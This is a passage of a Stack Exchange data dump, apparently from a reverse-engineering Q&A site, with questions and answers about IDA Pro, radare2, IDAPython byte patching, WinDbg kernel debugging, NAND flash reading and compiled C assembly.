v29 &amp;lt; 4 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm confused about the references:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*((_BYTE *)&amp;amp;v76 + v29 + 3) = v31 ^ *(_BYTE *)(v29 + 5394926227i64);&#xA;*((_BYTE *)&amp;amp;v76 + v29 + 7) = v32 ^ *(_BYTE *)(v29 + 5394926231i64);&#xA;*((_BYTE *)&amp;amp;v76 + v29 + 11) = v33 ^ *(_BYTE *)(v29 + 5394926235i64);&#xA;*((_BYTE *)&amp;amp;v74 + v29 + 15) = v30 ^ *(_BYTE *)(v29 + 5394926239i64);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These seem to be well outside the realm of any possible array? Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="22306" LastEditorUserId="18698" LastEditDate="2017-11-20T12:44:39.807" LastActivityDate="2017-12-20T19:03:44.483" Title="IDA Hex-Rays suggests an invalid offset" Tags="|ida|hexrays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16793" PostTypeId="2" ParentId="16790" CreationDate="2017-11-19T22:16:42.557" Score="4" Body="&lt;p&gt;&lt;code&gt;sym.imp.kernel32.dll_GetModuleHandleA&lt;/code&gt; is a &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html&quot; rel=&quot;noreferrer&quot;&gt;flag&lt;/a&gt; radare2 defined for this address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This flag name is combined from 4 parts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sym&lt;/code&gt; for Symbols &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;imp&lt;/code&gt; for Imports&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;kernel32.dll&lt;/code&gt; is the name of the library&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;GetModuleHandleA&lt;/code&gt; is the name of the imported function in the library&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To handle flags with radare2 you should use the &lt;code&gt;f&lt;/code&gt; command and its subcommands. Use &lt;code&gt;f?&lt;/code&gt; to list all of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your case, the right way to get the flag name for a given address is to use the &lt;code&gt;fd&lt;/code&gt; command like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004073d4]&amp;gt; fd 0x408084 &#xA;sym.imp.kernel32.dll_GetModuleHandleA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can split it to the function and the DLL name by using simple string manipulation with the programming language you are using to script radare.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;On a personal note I will say that the best way to script with radare2 is to use &lt;a href=&quot;https://github.com/radare/radare2-r2pipe&quot; rel=&quot;noreferrer&quot;&gt;r2pipe&lt;/a&gt; which is a very simple interface to radare2. You may already started using it but just in case, here's how simple it looks like with Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import r2pipe&#xA;&#xA;r2 = r2pipe.open(&quot;/bin/ls&quot;)&#xA;r2.cmd(&quot;aa&quot;)&#xA;print(r2.cmd(&quot;afl&quot;))&#xA;print(r2.cmdj(&quot;aflj&quot;))  # evaluates JSONs and returns an object&#xA;r2.quit()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suggest you to read the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/&quot; rel=&quot;noreferrer&quot;&gt;Radare2 Book&lt;/a&gt; to learn more about radare2 and how to use it.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-11-19T22:16:42.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16794" PostTypeId="2" ParentId="14237" CreationDate="2017-11-20T07:09:17.257" Score="2" Body="&lt;p&gt;If it's really a NAND flash chip conforming to ONFI standard and if you have an universal programmer, it should be possible to read its ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.onfi.org/~/media/onfi/specs/onfi_2_1_gold.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.onfi.org/~/media/onfi/specs/onfi_2_1_gold.pdf&lt;/a&gt; — refer to section 5.5 &quot;Read ID Definition&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your programmer may prompt you to specify what kind of NAND chip you're trying to read in order to determine its pinout. Thing is, you could probably get usable results by selecting a NAND chip in the same package with the same (more or less) capacity. Pinout will likely be very similar or the same, ID will be different, but should at least be readable.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2017-11-20T07:09:17.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16795" PostTypeId="2" ParentId="16792" CreationDate="2017-11-20T07:33:29.567" Score="1" Body="&lt;p&gt;It looks like you're dealing with constant address around &lt;code&gt;5394926180i64 (0x141900a64)&lt;/code&gt; and &lt;code&gt;v29&lt;/code&gt; looks like an index in the array of structures. I'd say that it looks like kind of work with memory mapped registers - I had seen such a things before with various IOT devices ROMs . I'd suggest to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Verify that you have a segment that includes the address. If not - create additional data segment that includes all mentioned addresses.&lt;/li&gt;&#xA;&lt;li&gt;Mark the suspicious number as offsets (just press &lt;kbd&gt;O&lt;/kbd&gt; on them).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should cause IDA to threat all these things as offsets in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is low level code that deals with hardware directly you'll probably find all segment addresses either in it SDK or in the corresponding datasheet.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-11-20T07:33:29.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16796" PostTypeId="1" AcceptedAnswerId="16823" CreationDate="2017-11-20T10:33:22.910" Score="3" ViewCount="1906" Body="&lt;p&gt;I'm using &lt;code&gt;IDA Pro&lt;/code&gt; and &lt;code&gt;WinDbg&lt;/code&gt; as a debugger to step through a WinAPI from a user-mode code. I can do all this, except that when the assembly code encounters the &lt;code&gt;syscall&lt;/code&gt; instruction (that enters &lt;code&gt;ring-0&lt;/code&gt; code) I cannot step into it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gEms3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gEms3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone show if it's possible to step into a kernel code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I'm running IDA Pro in a VM from my host Windows system.&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="14864" LastEditDate="2017-11-20T18:22:34.183" LastActivityDate="2017-11-23T09:05:01.847" Title="How to step into kernel code from a user-mode code using IDA Pro and WinDbg as a debugger?" Tags="|ida|windows|windbg|kernel-mode|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="16797" PostTypeId="1" CreationDate="2017-11-20T13:03:28.397" Score="0" ViewCount="940" Body="&lt;p&gt;Metamorphic is a technique to obfuscate a binary and change the opcode sequence and create new samples with same functionality. In my case, I have some elf binary of ARM processor type and their source code is not accessible. Is there any way to obfuscate them and create new samples with same functionality? &lt;/p&gt;&#xA;" OwnerUserId="21812" LastEditorUserId="21812" LastEditDate="2017-11-20T22:49:18.860" LastActivityDate="2017-11-22T09:37:20.123" Title="ARM ELF Obfuscation" Tags="|disassembly|arm|elf|obfuscation|assembly|" AnswerCount="1" CommentCount="0" ClosedDate="2017-11-24T23:23:36.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="16798" PostTypeId="2" ParentId="14237" CreationDate="2017-11-20T17:17:43.110" Score="1" Body="&lt;p&gt;You should check this talk at &lt;a href=&quot;https://www.youtube.com/watch?v=hOKWTeiyy-Q&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlackHat 2014&lt;/a&gt; and this one from Bunnie &amp;amp; Xobs at &lt;a href=&quot;https://www.youtube.com/watch?v=ruEn7TE4YMM&quot; rel=&quot;nofollow noreferrer&quot;&gt;30CCC&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could go about some details but it's so vast, it is meaningless to try to explain the details of reversing a chip here. Decapping can be helpful if you're willing to probe the IC using needles and an oscilloscope and reverse engineer a protocol or extract data; or use a microscope to take snapshots which you could compare to some already existing chips, ... Here's a very nice &lt;a href=&quot;https://www.youtube.com/watch?v=aHx-XUA6f9g&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hackaday&lt;/a&gt; talk with very interesting links and techniques.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend getting the data sheet of the chip first -if you can identify it- or check out the manufacturer on-line to see if there's any info about the end product in general that could lead to identifying the components or the manufacturer of the component; or if anybody tried to tinker with the same product or found that same chip in another product.&#xA;Use the Chinese search engine, most of these chips are made in China and, for example, Baidu can return some helpful links and even documentation and tools.&#xA;Bear in mind that sometimes unmarked chips are knock-offs of well known chips, you can check a known Flash manufacturer data sheets and compare the pin positions and even probe the pins using an oscilloscope to see if they match the data sheet description.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any deeper technical questions about the output of a process/analysis I'll be able to help more. You need to workout a set of thorough steps before you dive into reversing a chip because it can get VERY confusing at times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.462.8967&amp;amp;rep=rep1&amp;amp;type=pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Helpful publication 1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://engineering.nyu.edu/garg/sites/engineering.nyu.edu.garg/files/uploads/ndss218-elmassad%20(1).pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Helpful publication 2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cl.cam.ac.uk/~sps32/cardis2016_sem.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Helpful publication 3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blackhat.com/docs/us-14/materials/us-14-Oh-Reverse-Engineering-Flash-Memory-For-Fun-And-Benefit-WP.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Helpful publication 4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out these guys too : &lt;a href=&quot;https://hardsploit.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;, they have developed a whole hardware platform for hardware reversing. Its quite expensive (700€ ~ 680$) but very handy, especially the chip database. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2017-11-20T17:28:29.413" LastActivityDate="2017-11-20T17:28:29.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16800" PostTypeId="1" CreationDate="2017-11-20T18:24:35.243" Score="7" ViewCount="10117" Body="&lt;p&gt;I am looking for a way to modify memory location in IDA python script. We can read memory with these functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Byte(address)&#xA;Word(address)&#xA;Dword(address)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Byte(address) = value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA says that it is not valid to assign to a function call. I tried to use ctypes, however IDA says about unhandled exception on the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include ctypes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how can I write to specific memory location? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="22310" LastActivityDate="2017-11-21T12:20:20.393" Title="IDA python, write to specific memory location" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16801" PostTypeId="2" ParentId="16792" CreationDate="2017-11-20T18:26:21.153" Score="0" Body="&lt;p&gt;Appears I may have figured it out. In this case, it's just dereferencing offsets from 0 which ultimately point to some data in .rdata. I hadn't realized it until I modified the number representation to hex. &lt;/p&gt;&#xA;" OwnerUserId="22306" LastActivityDate="2017-11-20T18:26:21.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16802" PostTypeId="2" ParentId="16778" CreationDate="2017-11-20T22:23:38.717" Score="3" Body="&lt;p&gt;it is a tough and tedious task and completely error prone &lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming you have this code compiled and executed the first string will have a 68 push opcode and the second string will have a FF35 push opcode and the strings would be in .rdata section&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;const char mystr1[] = &quot;mystr1&quot;;&#xA;const char *mystr2 = &quot;mystr2&quot;;&#xA;void main(void) {&#xA;    MessageBoxA(0,mystr2,mystr1,0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as seen below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x00401000      6a00           push 0 &#xA;|           0x00401002      6810204000     push str.mystr1  &#xA;|           0x00401007      ff3500304000   push dword [0x403000]&#xA;|           0x0040100d      6a00           push 0&#xA;|           0x0040100f      ff1500204000   call dword [sym.imp.USER32.dll_MessageBoxA]&#xA;|           0x00401015      33c0           xor eax, eax&#xA;\           0x00401017      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checking the strings &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401000]&amp;gt; ps @0x402010&#xA;mystr1&#xA;[0x00401000]&amp;gt; pv @0x403000&#xA;0x00402018&#xA;[0x00401000]&amp;gt; ps @0x402018&#xA;mystr2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can use some tools like CFF_Explorer iidking etc to add a section &lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare2 also adds a section but i couldn't coax it to write back the section&#xA;details back to pe header  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Comparing files rdata.exe and RDATA1.EXE&#xA;000000C6: 04 05&#xA;00000111: 50 60&#xA;000001C0: 1E 00&#xA;000001C1: 00 10&#xA;000001E8: C2 00&#xA;000001E9: 01 10&#xA;00000210: 04 00&#xA;00000211: 00 10&#xA;00000238: 1C 00&#xA;00000239: 00 10&#xA;00000258: 00 2E&#xA;00000259: 00 6A&#xA;0000025A: 00 73&#xA;0000025B: 00 74&#xA;00000260: 00 80&#xA;00000265: 00 50&#xA;00000269: 00 02&#xA;0000026D: 00 0C&#xA;0000027F: 00 40&#xA;00000800: 18 00&#xA;00000801: 20 50&#xA;FC: RDATA1.EXE longer than rdata.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the new string at the new section as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -s 0xc00 -l 0x60 rdata1.exe&#xA;0000c00: 8341 838a 8347 838b 82f0 8e67 82c1 82c4  .A...G.....g....&#xA;0000c10: 8376 838d 8379 838d 82c9 82e6 82c1 82c4  .v...y..........&#xA;0000c20: 9755 9866 82b3 82ea 82bd 9792 82cd 8141  .U.f...........A&#xA;0000c30: 837e 8389 8393 835f 82aa 88a4 82f0 91cc  .~....._........&#xA;0000c40: 8cb1 82c5 82ab 82e9 82e6 82a4 82c9 82b7  ................&#xA;0000c50: 82e9 0000 0000 0000 0000 0000 0000 0000  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the modification at 0x800 , 0x801 in diff above is redirection to this string &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now if you execute this you will get gibberish &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you may either need to set the System Locale or need the now discontinued app like applocale.applet with appcompat shim database to hook and hack the Unicode characters &lt;/p&gt;&#xA;&#xA;&lt;p&gt;do it if it is your cup of tea :) (try translating the messagebox message for a refresher )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OhcK1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OhcK1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-11-20T22:23:38.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16803" PostTypeId="2" ParentId="16800" CreationDate="2017-11-20T23:03:16.830" Score="1" Body="&lt;pre&gt;&lt;code&gt;from idaapi import *&#xA;from idautils import *&#xA;print Byte(ScreenEA())&#xA;PatchByte(ScreenEA(),100) &amp;lt;--- this will patch the byte at current address to 0x64&#xA;print Byte(ScreenEA())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-11-20T23:03:16.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16804" PostTypeId="1" AcceptedAnswerId="21208" CreationDate="2017-11-21T00:38:55.010" Score="1" ViewCount="109" Body="&lt;p&gt;Can a multi-byte primitive data type (ie int, double, float, etc) span multiple virtual pages on Windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex) The first 4-bytes of a double on a virtual page, and the next 4-bytes of a double on the next virtual page. Is this possible*?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about structs? Arrays?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;*I presume it is technically possible to just cast the address of the last 4-bytes of arbitrary memory in a virtual page to a double pointer, as long as there is another virtual page that follows -- but I'm more curious if this can happen naturally in a compiled/interpreted program.&lt;/p&gt;&#xA;" OwnerUserId="22125" LastEditorUserId="22125" LastEditDate="2017-11-21T00:44:02.760" LastActivityDate="2019-04-25T01:45:22.783" Title="Can a Data Type Span Multiple Virtual Pages? (Windows)" Tags="|windows|compilers|virtual-memory|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16805" PostTypeId="2" ParentId="16800" CreationDate="2017-11-21T12:20:20.393" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/EiNSTeiN-/idapython/blob/master/python/idc.py#L1736&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Byte()&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://github.com/EiNSTeiN-/idapython/blob/master/python/idc.py#L1837&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Word()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/EiNSTeiN-/idapython/blob/master/python/idc.py#L1850&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Dword()&lt;/code&gt;&lt;/a&gt; are idapython's functions and every try to assign a value to a function call in python will end up with &quot;SyntaxError: can't assign to function call&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These 3 functions you have mentioned are used to &lt;em&gt;read&lt;/em&gt; the value of a given address, whether it's a byte, word or a dword. You can't use them to set a value to an address.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Patching&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to modify a memory location you can use one of the following functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Prior IDA 7.0:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PatchByte(ea, value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Change value of a program byte&lt;br&gt;&#xA;  If debugger was active then the debugged process memory will be patched too&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PatchWord(ea, value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Change value of a program word (2 bytes)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PatchDword(ea, value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Change value of a double word&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PatchDbgByte(ea, value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Change a byte in the debugged process memory only&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In case you want to get the original byte that was existed before any changes occurred, you should use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetOriginalByte(ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Get original value of program byte&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IDA 7.0:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;noreferrer&quot;&gt;IDA 7.0&lt;/a&gt; has arrived idapython made some changes that worth to mention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The names of the functions has changed to &lt;code&gt;patch_byte()&lt;/code&gt;, &lt;code&gt;patch_word()&lt;/code&gt;, &lt;code&gt;patch_dword()&lt;/code&gt;, &lt;code&gt;patch_dbg_byte()&lt;/code&gt; and &lt;code&gt;get_original_byte()&lt;/code&gt; accordingly, but, as for now, you still can use the old names since &quot;&lt;em&gt;IDA 7.0/Python/idc_bc695.py&lt;/em&gt;&quot;, which is responsible to compatibility, contains a wrapper to these functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, another function was added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;patch_qword(ea, value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Change value of a quad word&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Notice that &lt;code&gt;PatchQword()&lt;/code&gt; won't work for you since it was not existed in older versions so there's no reason to create it as a wrapper to &lt;code&gt;patch_qword()&lt;/code&gt; for compatibility.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Coding&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Patching a single byte is very intuitive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idaapi import *&#xA;&#xA;address= 0x67643021 &#xA;new_value = 0xCC&#xA;&#xA;PatchByte(address, new_value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will edit the IDB file to set the value of &lt;em&gt;0x67643021&lt;/em&gt; to &lt;em&gt;0xCC&lt;/em&gt;. This won't affect the origianl file. In case that you only want to edit the value of the address in the memory and not in the IDB file, you should use &lt;code&gt;PatchDbgByte()&lt;/code&gt; instead of &lt;code&gt;PatchByte()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your changes to affect the original file you'll need to make it by yourself like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;address= 0x67643021 &#xA;new_value = 0xCC&#xA;&#xA;# Open the file&#xA;f = open(&quot;my_binary.exe&quot;, &quot;rb+&quot;)&#xA;&#xA;# Seek to the address you want to patch&#xA;f.seek(address)&#xA;&#xA;# Write the new value to this address&#xA;f.write(new_value)&#xA;&#xA;# Close the file&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can check &lt;a href=&quot;https://bitbucket.org/Alexander_Hanel/fwrapper/src/b3f389c926e7?at=master&quot; rel=&quot;noreferrer&quot;&gt;fwrapper.py&lt;/a&gt; by Alexander Hanel and &lt;a href=&quot;https://github.com/iphelix/ida-patcher&quot; rel=&quot;noreferrer&quot;&gt;ida-patcher&lt;/a&gt; by Peter Kacherginsky to see some code examples that you may find helpful.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-11-21T12:20:20.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16807" PostTypeId="1" AcceptedAnswerId="16809" CreationDate="2017-11-21T13:52:52.807" Score="0" ViewCount="671" Body="&lt;p&gt;I would like to know how &lt;code&gt;WinDbg&lt;/code&gt; extracts all the user, group, privilege information about a process from a &lt;code&gt;token&lt;/code&gt; when given the &lt;code&gt;!token 0xaddress&lt;/code&gt; command so I can implement it in my driver code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example output of &lt;code&gt;!token 0xaddress&lt;/code&gt; command&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XvpVY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XvpVY.png&quot; alt=&quot;user_infor_output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://www.nirsoft.net/kernel_struct/vista/EPROCESS.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; site token has the &lt;code&gt;EX_FAST_REF&lt;/code&gt; structure which has a definition like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct EX_FAST_REF {&#xA;       union {&#xA;              PVOID Object;&#xA;              ULONG RefCnt : 3;&#xA;              ULONG Value;&#xA;         };&#xA; }EX_FAST_REF, *PEX_FAST_REF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Object&lt;/code&gt; field points to the address of the token, the &lt;code&gt;Value&lt;/code&gt; field holds the fist 4 bytes from the token address. I could not find the info I need from these fields but when I investigate the token address a little bit I am beginning to see strings like &lt;code&gt;uid&lt;/code&gt;. What is the type of structure windbg uses to get all of this information? (Both debugger and debuggee have 32 bit architecture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i2p5s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i2p5s.png&quot; alt=&quot;uid_from_address&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2017-11-21T14:22:24.233" Title="TOKEN structure in Kernel" Tags="|debugging|c|windbg|kernel-mode|process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16809" PostTypeId="2" ParentId="16807" CreationDate="2017-11-21T14:22:24.233" Score="1" Body="&lt;p&gt;This Token you've used, the link, is not the Token structure you're searching for.&#xA;This is the structure&#xA;&lt;a href=&quot;https://www.nirsoft.net/kernel_struct/vista/TOKEN.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.nirsoft.net/kernel_struct/vista/TOKEN.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22023" LastActivityDate="2017-11-21T14:22:24.233" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16811" PostTypeId="1" CreationDate="2017-11-22T08:17:37.423" Score="1" ViewCount="2473" Body="&lt;p&gt;I know that every x86 instruction has an opcode for that, but I don't know how data types and variables are converted to machine code. So I tried to figure out. I wrote a simple C program and converted it to assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;&#xA;int variable1=1;&#xA;int variable2=1;&#xA;&#xA;char variable3='A';&#xA;char variable4='A';&#xA;&#xA;char name[20]=&quot;naveen prakash&quot;;&#xA;&#xA;&#xA;int main(int argc, char const *argv[])&#xA;{&#xA;&#xA;char g[4]=&quot;hell&quot;;&#xA;int local_variable1=1;&#xA;int local_variable2=2;&#xA;int local_variable3;&#xA;&#xA;variable1=0;&#xA;variable2=1;&#xA;&#xA; variable3='B';&#xA; variable4='A';&#xA;&#xA; printf(&quot;HeLLO wORLD\n&quot;);&#xA; getch();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assembly for the above program (Compiled using &lt;code&gt;gcc -S hello.c&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.file   &quot;hello.c&quot;&#xA;.globl _variable1&#xA;    .data&#xA;    .align 4&#xA;_variable1:&#xA;    .long   1&#xA;.globl _variable2&#xA;    .align 4&#xA;_variable2:&#xA;    .long   1&#xA;.globl _variable3&#xA;_variable3:&#xA;    .byte   65&#xA;.globl _variable4&#xA;_variable4:&#xA;    .byte   65&#xA;.globl _name&#xA;_name:&#xA;    .ascii &quot;naveen 